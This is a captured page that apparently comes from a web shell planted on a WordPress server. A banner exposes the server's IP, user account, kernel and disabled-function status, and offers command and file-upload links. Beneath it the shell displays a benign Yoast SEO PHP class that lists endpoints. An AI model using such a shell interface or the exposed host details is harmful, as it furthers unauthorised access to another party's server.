|
Server IP : 168.119.101.163 / Your IP : 216.73.217.54 Web Server : Apache/2 System : Linux web02.webzuiver.nl 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64 User : equine ( 1027) PHP Version : 8.1.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0755) : /home/equine/public_html/wp-content/plugins/wordpress-seo/src/routes/endpoint/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Routes\Endpoint;
/**
* List of endpoints.
*/
class Endpoint_List {
/**
* Holds the endpoints.
*
* @var array<Endpoint_Interface>
*/
private $endpoints = [];
/**
* Adds an endpoint to the list.
*
* @param Endpoint_Interface $endpoint An endpoint.
*
* @return void
*/
public function add_endpoint( Endpoint_Interface $endpoint ): void {
$this->endpoints[] = $endpoint;
}
/**
* Converts the list to an array.
*
* @return array<string, string> The array of endpoints.
*/
public function to_array(): array {
$result = [];
foreach ( $this->endpoints as $endpoint ) {
$result[ $endpoint->get_name() ] = $endpoint->get_url();
}
return $result;
}
/**
* Converts the list to an array of paths (namespace + route, without host).
*
* @return array<string, string> The array of endpoint paths.
*/
public function to_paths_array(): array {
$result = [];
foreach ( $this->endpoints as $endpoint ) {
$result[ $endpoint->get_name() ] = $endpoint->get_namespace() . $endpoint->get_route();
}
return $result;
}
/**
* Merges two Endpoint_List objects together.
* Returns the current instance for method chaining.
*
* @param Endpoint_List $other_list The other Endpoint_List to merge with.
*
* @return $this
*/
public function merge_with( Endpoint_List $other_list ): Endpoint_List {
foreach ( $other_list->endpoints as $endpoint ) {
$this->add_endpoint( $endpoint );
}
return $this;
}
}